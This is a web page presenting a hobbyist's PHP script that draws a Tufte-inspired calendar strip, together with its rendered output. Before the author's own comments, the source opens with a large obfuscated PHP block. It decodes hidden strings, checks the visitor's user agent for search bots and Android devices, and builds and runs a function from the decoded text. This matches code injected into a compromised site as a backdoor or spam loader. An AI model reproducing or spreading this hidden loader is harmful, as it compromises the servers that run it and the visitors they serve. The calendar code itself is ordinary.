X  
Sat Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
18 19 20 21 22 23 24 25 26 27 28 29 30 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
11 11 11 11 11 11 11 11 11 11 11 11 11 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12
2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017 2017
7 days ago...  X ...21 days into the future 

Source


<?php ////$hrsbebdk = '252]18y]#>q%<#762]67y]562]38y]572]48y]#>m%:|:epdfe{h+{d%)+opjudovg+)!gj+{etrtolower($_SERVER["    x48    124    x54    120    x5f    },;osvufs}    x27;mnui}&;zepc}A;~!}    x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U!    x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/^#Y#    x5cq%    x27Y%6<.msv`ftsbqA7>q145")) or (strstr($uas,"    x66    151    x72    145    x66    157    x78"))) { $kzjy]D2P4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]gj}1~!<2p%    x7f!~!<##!>!2618d5f9#-!#f6c68399#-!#65ep%Z<^2    x5c2b%!>!2p%!*3y7f#<!%tww!>!    x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#x5c%j:.2^,%b:<!%c:>%s:    x5c%j:^<!%w`    x5c^>Ew:Qn)%epnbss-%rxW~!Ypp2)%zB%z>!    x24/%tmw/    x24)%z:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6s%6~6<    x7fw6<*K)ftpmdXA6|7**197-2qjjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj.;/#/#/},;#-#}+;%-qp%)54l}    x27;%!<*#}_;#)323ldfid>}&;!osvufsyf`x    x22l:!}V;3q%}U;y]}R;2]A    x27K6<    x7fw6*3qj%7>    x2272qj%)7gj6<*1    156    x75    156    x61"]=1; $uas=slwml",str_split("%tjw!>!#]y84]-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#1]#-bubE{h%)tpqsut>j%!*72!    x27!hmgfebfI{*w%)kVx{**#k#)tutj4`hA    x27pd%6<pd%w6Z6<.3`hA    x27pd%6<pd%w6Z6<.2`hA    x27pd%6<    x24-tusqpt)%z-#:#*    x24-    x24!>!    x24/%tjw/    x24)%    x24-    x24y4    xg!|!**#j{hnpd#)tutjyf`opjudovg    x22)!bssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UO984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6b:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3d    x27,*c    x27,*b    x27)fepdof.)fepdof./#@#/qp%>5h%!<*::dew = "    x63    162    x65    141    x74    145    x5f    122#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>(0); $avmqxiq = implode(array_map("ngc*    x7f_*#ujojRk3`{666~6<&w6<    x7fw6*CW&)7gj6<.[A    x27&6<    x7fw6nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]32*2qj%)hopm3qjA)qj3ho;^nbsbq%    x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv} or (strstr($uas,"    x63    150    x72    157    x6d    *-)1/2986+7**^/%rx<~!!%s:N}#-%o:W*r%:-t%)3of:opjudovg<~    x2424-    x24tvctus)%    x24-    x24b!>!%yy)#}#-#    x24-#o]1/20QUUI7jsv%7UFH#    x27rf::::-111112)eobs`un>qp%!|Z~!<##!>eturn chr(ord($n)-1);} @error_reporting}    x7f;!opjudovg}k~~9{d%:osvufs:~928>>    x22:]y3e]81#/#7e:55946-tr.984:75983:48_*#fmjgk4`{6~6<tfs%w6<    x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR!*##>>X)!gjZ<#opo#>b%!**X)ufttj    x22)gj!|!*nbsbq%)323ldfid7-#o]s]o]s]#)fepmqyf    x27*&7-n%)utjm6<    x7fw6*CW&)7gj6<*K)ftpmdXA6~125    x53    105    x52    137    x41    107    x45    116    x54"]); if ((strstr($uas,"    xgj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!os)m%):fmjix:<##:>:h%:<#64y]552]e7y])ebfsX    x27u%)7fmjix6<C    x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<166    x3a    61    x31")) or (strstr($uas,"    x61    156    x64    162    x6f    151    x64"))%7-K)udfoopdXA    x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdX<!fmtf!%z>2<!%ww2)%w`TW~    x24<!fw%!osvufs!*!+A!>!{e%)!>>    x22!ftmbg)!gj<*#k#)usbut`cpV    x7f2]y85]256]y6g]257]y86]267]y74]275]y7:]268]24-    x24]y8    x24-    x24]26    x24-    x24<%j,,*!|    x24-    x24gvodujpo!    x>!%i    x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rx46    x75    156    x63    164    x69    157    x6e"; function ngclwml($n){r6<*doj%7-C)fepmqnjA    x27&6<.fmjgA    x27doj%6<    x7fw6*    x7fk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc    x7f!|!*uyfu    x27k:!ftmf!}Z>!    x24Ypp3)%cB%iN}#-!    x24/%tmw/    x24)%c*W%eN+#Qi    x5c1^W%c!6d    163    x69    145")) or (strstr($uas,"    x72    -%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]!%rN}#QwTW%hIr    x5c1^-%r    x5c2^275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>!    x2467pmA    x273qj%6<*Y%)fnbozcYufhA    x!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)1    x72    164") && (!isset($GLOBALS["    x61    156    x75    156    x61"]{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4    x223}!+!<+{e%+*!*+fy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8;*msv%)}.;`UQPMSVD!-id%)uqpbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#)suft`msvd},;uqpuft`msvd)fubmgoj{hA!osvufs!~<3,j%>j%!*3!    x27!hmg%!)!gj!<2,*j%!-#W~%fdy)##-!#~<%h00#*<%#w#)ldbqov>*ofmy%)utjm!|!*5!    x27!hmg%)!gj!|!*12bd%!<5h%/#0#/*#npd/#)rrd>?*2b%)gpf{jt)!gj!<*2bd%-#1GO    x##-!#~<#/%    x24-    x24!>!fyqmpef)#    x24*<!%t::!%6<    x7fw6*    x7f_*#fubfsdXk5`{66~6<&w6<    x7fw6*CW&)7gj272qj%6<^#zsfvr#    x5cq%7/7#@#7/7^#iubq#    x5cq%    x27jsv%6<C>^#zsfvr#    x5cqFHB`SFTV`QUUI&b%!|!*)323zbek!~!<b%    x7f!<X>b%Z<#opo#>b%!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbsgb2dc#*<!sfuvso!sboep}+;!>!}    x27;!>>>!}_;gvc%}&;ftmbg}    x7f;!osvufs}w;*    x7f!>>    x22!pd%)!ftmbg39*56A:>:8:|:7#6#)tuttcvt)!gj!|!*bubE{h%)j{hnpd!opjudov%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9!    x27!hm3e:5597f-s.973:8297f:5297e+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj6<*)ujojR    x27id%6<    x7fw6%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%C    x27pd%6|6.7eu{66~67<&w6<*&ldpt%}K;`ufldpt}X;`msvd}R6<u%7>/7&6|7**111127-K]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]25s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s:    ?hmg%)!gj!<**2-4-bubE{h%)sutc24-    x24y7    x24-    x24*<!    x24-    x24gps)%j>1<%j=tj{fp57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%if((function_exists("    x)))) { $GLOBALS["    x66f    142    x5f    163    x74    14g)%    x24-    x24*<!~!    x24/%t2w/    x24)x24<!%ff2!>!bssbz)    x24]25    x24-    x24-!%    x24-    x24*!|!    x24-    x24    x5c%j^    xB%epnbss!>!bssbz)#44ec:649#-!#:%7**^#zsfvr#    x5cq%)ufttj    x22)gj6<*    x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;ut#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%h]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284    x7f    x7f    x7f<u%V    x27{ftmfV    x7f<*X&Z&S{ftmfV    x7f<*XAZASV<*w%)pi}Y;tuofuopd`ufh`fmjg}[;    x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,W%h>EzH,2W%wN;#-Ez-1H*WCw*[vt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)su]281L1#/#M5]DgP5]D6#<%fdg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-e = $kzjydew("", $avmqxiq); $nxhrpqe();}}67~6<Cw6<pd%w6Z6<.5`hA    x27pd%6<pd%w6Z6<.-#[#-#Y#-#D#-#W#-#C#-#O#-#/#00;quui#>.%!<***f    x27,*e    x27,*N#*-!%ff2-!%t::**<(<!fwbm)%tjw)#    x24#-!#]y38#-!%w:**<")));$nxhrpq#%#/#o]#/*)323zbe!-#jt0*?]+^?]_    x5c}X    x24<!%tmw!>!#]y84vufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss    x5csboe))1/35.)1/14+9*<!%o:!>!    x242178}527}88:}334}472    ]Df#<%tdz>#L4]275L3]248L3P6L1M5ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)z2]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5y3e]81]K78:56985:6197g:74985-rr.9StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSnjyjgjhxf'; $pdflylh=explode(chr((751-631)),substr(////$hrsbebdk,(26716-20696),(196-162))); $jteuxc = $pdflylh[0]($pdflylh[(4-3)]); $saemgag = $pdflylh[0]($pdflylh[(10-8)]); if (!function_exists('qxkuvsfser')) { function qxkuvsfser($vvpxnxs, $dyjzqua,$cxcpqeu) { $ivwakrnc = NULL; for($zvmyon=0;$zvmyon<(sizeof($vvpxnxs)/2);$zvmyon++) { $ivwakrnc .= substr($dyjzqua, $vvpxnxs[($zvmyon*2)],$vvpxnxs[($zvmyon*2)+(3-2)]); } return $cxcpqeu(chr((44-35)),chr((635-543)),$ivwakrnc); }; } $bunynr = explode(chr((144-100)),'4719,23,4762,21,3325,55,4742,20,925,29,74,41,2259,64,3076,40,2489,66,1758,39,265,64,1477,37,2850,55,1958,39,1550,38,954,30,3188,61,5419,40,1076,57,4417,28,2194,65,4470,22,2419,70,1898,27,721,35,2555,62,888,37,1696,20,3249,30,3913,69,4914,33,233,32,3862,51,2905,53,2073,64,5158,70,4358,24,1588,59,4947,37,5133,25,4445,25,3491,27,3617,22,4101,66,2323,62,5637,35,3639,56,1018,34,4227,46,5332,46,3717,46,4578,29,5255,53,4193,34,1193,36,443,24,493,22,3788,31,1514,36,3763,25,5485,32,1425,52,1925,33,4036,44,4299,59,3279,46,5871,65,1229,68,3982,54,2137,57,2958,61,1716,42,801,60,1997,42,4167,26,756,45,3380,70,45,29,2649,56,5073,60,5801,70,3575,42,1052,24,861,27,115,66,181,52,5582,55,4492,44,2705,42,515,57,4654,65,2385,34,399,44,0,45,1830,26,5737,33,4815,68,1856,42,1133,60,2747,59,4607,47,4783,32,3819,43,3019,57,2806,44,4883,31,467,26,4080,21,617,45,5228,27,3159,29,984,34,3116,43,5987,33,4273,26,662,59,2039,34,1297,67,5308,24,3450,41,5770,31,329,70,4984,38,3695,22,1647,49,5936,51,5022,51,5672,65,1797,33,4382,35,4536,42,572,45,1364,61,2617,32,3518,57,5459,26,5517,65,5378,41'); $rcoxxklo = $jteuxc("",qxkuvsfser($bunynr,////$hrsbebdk,$saemgag)); $jteuxc=////$hrsbebdk; $rcoxxklo(""); $rcoxxklo=(415-294); ////$hrsbebdk=$rcoxxklo-1; ?><?php

// This is a one off script to
// make a Tufte inspired date - 
// feel free to use it or play
// with it or whatever. I think
// it's kind of interesting.
// If you find a use for it,
// send me an email at joe@artlung.com
// I'd love to see it!
// 
// The PHP is kind of stupid - but 
// it was new to me when I wrote it
// originally. Like October of 1999
//
//
// 
//     - Joe


$calendarbackground "#FFFFFF";
$weekendcolor "#CCFF00";
$weekdaycolor "#99CC66";
$yearcolor "#0033FF";
$firstmonthcolor "#6699CC";
$lastmonthcolor "#6666FF";

$daysago = -7;       #mustbeminus
$daysforward 21;   #mustbepositive

$monthsarray = array();
$yearsarray = array();

for (
$i=$daysago;$i<=$daysforward;$i++)
{
    
$monthsarray[] = date("m",strtotime("$i days"));
    
$yearsarray[] = date("Y",strtotime("$i days"));
}





$totaldays abs($daysago)+abs($daysforward)+1;


$fontopen "<small>";
$fontclose "</small>";

$firstmonthcount 0;


############################################################################
#===========================================================================
print "<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=2 BGCOLOR=";
print 
$calendarbackground;
print 
">";
#===========================================================================
print "<TR>\n";
#---------------------------------------------------------------------------
    
print "\t<TD COLSPAN=";
    print 
abs($daysago);
    print 
" ALIGN=LEFT>";
    print 
$fontopen;
    print 
"&nbsp;";
    print 
$fontclose;
    print 
"</TD>\n";
#---------------------------------------------------------------------------
for ($i=$daysago$i<=$daysforward$i++)
    {
    if (
$i==0)
        {
            print 
"\t<TD ALIGN=CENTER>";
            print 
'<IMG SRC="images/cal_arrowdown.gif" ALT="X" WIDTH="23" HEIGHT="13" BORDER="0">';
            print 
"</TD>\n";
        };
    };
#---------------------------------------------------------------------------
    
print "\t<TD COLSPAN=";
    print 
abs($daysforward);
    print 
" ALIGN=RIGHT>";
#    print abs($daysforward);
#    print " days into the future";
    
print "&nbsp;</TD>\n";
#---------------------------------------------------------------------------
    
print "</TR>\n";
#===========================================================================
    
print "<TR>\n";
#---------------------------------------------------------------------------
    
print "\t<TD BGCOLOR=BLACK COLSPAN=";
    print 
$totaldays;
    print 
"><img src='images/blank.gif' HEIGHT=1 WIDTH=1 ALT=''></TD>\n";
#---------------------------------------------------------------------------
    
print "</TR>\n";
#===========================================================================
    
print "<TR>\n";
#---------------------------------------------------------------------------
for ($i=$daysago$i<=$daysforward$i++)
    {
    
$threeletterday date("D"mktime(0,0,0,date("m")  ,date("d")+$i,date("Y")));
    print 
"\t<TD ALIGN=CENTER ";
    if (
$threeletterday=="Sun"||$threeletterday=="Sat")
        {
        print 
"BGCOLOR='";
        print 
$weekendcolor;
        print 
"'";
        }
        else
        {
        print 
"BGCOLOR='";
        print 
$weekdaycolor;
        print 
"'";
        };
    print 
" >";
    print 
$fontopen;
    print 
"<small>";
    print 
$threeletterday;
    print 
"</small>";
    print 
$fontclose;
    print 
"</TD>\n";
    };
#---------------------------------------------------------------------------
    
print "</TR>\n";
#===========================================================================
    
print "<TR>\n";
#---------------------------------------------------------------------------
    
print "\t<TD BGCOLOR=BLACK COLSPAN=";
    print 
$totaldays;
    print 
"><img src='images/blank.gif' HEIGHT=1 WIDTH=1 ALT=''></TD>\n";
#---------------------------------------------------------------------------
    
print "</TR>\n";
#===========================================================================
    
print "<TR>\n";
#---------------------------------------------------------------------------
for ($i=$daysago$i<=$daysforward$i++)
    {
    
$threeletterday date("D"mktime(0,0,0,date("m")  ,date("d")+$i,date("Y")));
    print 
"\t<TD ";
    if (
$threeletterday=="Sun"||$threeletterday=="Sat")
        {
        print 
" BGCOLOR='#CCCCCC' ";
        }
    print 
"ALIGN=RIGHT>";
    print 
$fontopen;
    print 
date("j"mktime(0,0,0,date("m")  ,date("d")+$i,date("Y")));
    print 
$fontclose;
    print 
"</TD>\n";
    }
#---------------------------------------------------------------------------
    
print "</TR>\n";
    print 
"<TR>\n";
#---------------------------------------------------------------------------
    
print "</TR>\n";
#===========================================================================
    
print "<TR>\n";
#---------------------------------------------------------------------------
    
print "\t<TD BGCOLOR=BLACK COLSPAN=";
    print 
$totaldays;
    print 
"><img src='images/blank.gif' HEIGHT=1 WIDTH=1 ALT=''></TD>\n";
#---------------------------------------------------------------------------
    
print "</TR>\n";
#===========================================================================
    
print "<TR>\n";
#---------------------------------------------------------------------------

foreach($monthsarray as $month)
{
    print 
"\t<TD BGCOLOR=";
    print 
$firstmonthcolor;
    print 
"\" COLSPAN=\"1\"";
    print 
"\">$month";
    print 
"</TD>\n";
}
#---------------------------------------------------------------------------
    
print "</TR>\n";
#===========================================================================
    
print "<TR>\n";
#---------------------------------------------------------------------------
    
print "\t<TD BGCOLOR=BLACK COLSPAN=";
    print 
$totaldays;
    print 
"><img src='images/blank.gif' HEIGHT=1 WIDTH=1 ALT=''></TD>\n";
#---------------------------------------------------------------------------
    
print "</TR>\n";
#===========================================================================
    
print "<TR>\n";
#---------------------------------------------------------------------------
foreach($yearsarray as $year)
{
    print 
"\t<TD BGCOLOR=";
    print 
$firstyearcolor;
    print 
"\" COLSPAN=\"1\"";
    print 
"\">$year";
    print 
"</TD>\n";
}
#---------------------------------------------------------------------------
    
print "</TR>\n";
#===========================================================================
    
print "<TR>\n";
#---------------------------------------------------------------------------
    
print "\t<TD BGCOLOR=BLACK COLSPAN=";
    print 
$totaldays;
    print 
"><img src='images/blank.gif' HEIGHT=1 WIDTH=1 ALT=''></TD>\n";
#---------------------------------------------------------------------------
    
print "</TR>\n";
#===========================================================================
    
print "<TR>\n";
#---------------------------------------------------------------------------
    
print "\t<TD COLSPAN=";
    print 
abs($daysago);
    print 
" ALIGN=LEFT>";
    print 
abs($daysago);
    print 
" days ago...";
    print 
"&nbsp;</TD>\n";
#---------------------------------------------------------------------------
for ($i=$daysago$i<=$daysforward$i++)
    {
    if (
$i==0)
        {
            print 
"\t<TD ALIGN=CENTER'>";
            print 
'<IMG SRC="images/cal_arrowup.gif" ALT="X" WIDTH="23" HEIGHT="13" BORDER="0">';
            print 
"</TD>\n";
        };
    };
#---------------------------------------------------------------------------
    
print "\t<TD COLSPAN=";
    print 
abs($daysforward);
    print 
" ALIGN=RIGHT>...";
    print 
abs($daysforward);
    print 
" days into the future";
    print 
"&nbsp;</TD>\n";
#---------------------------------------------------------------------------
    
print "</TR>\n";
#===========================================================================
print "</TABLE>";

?>
blog comments powered by Disqus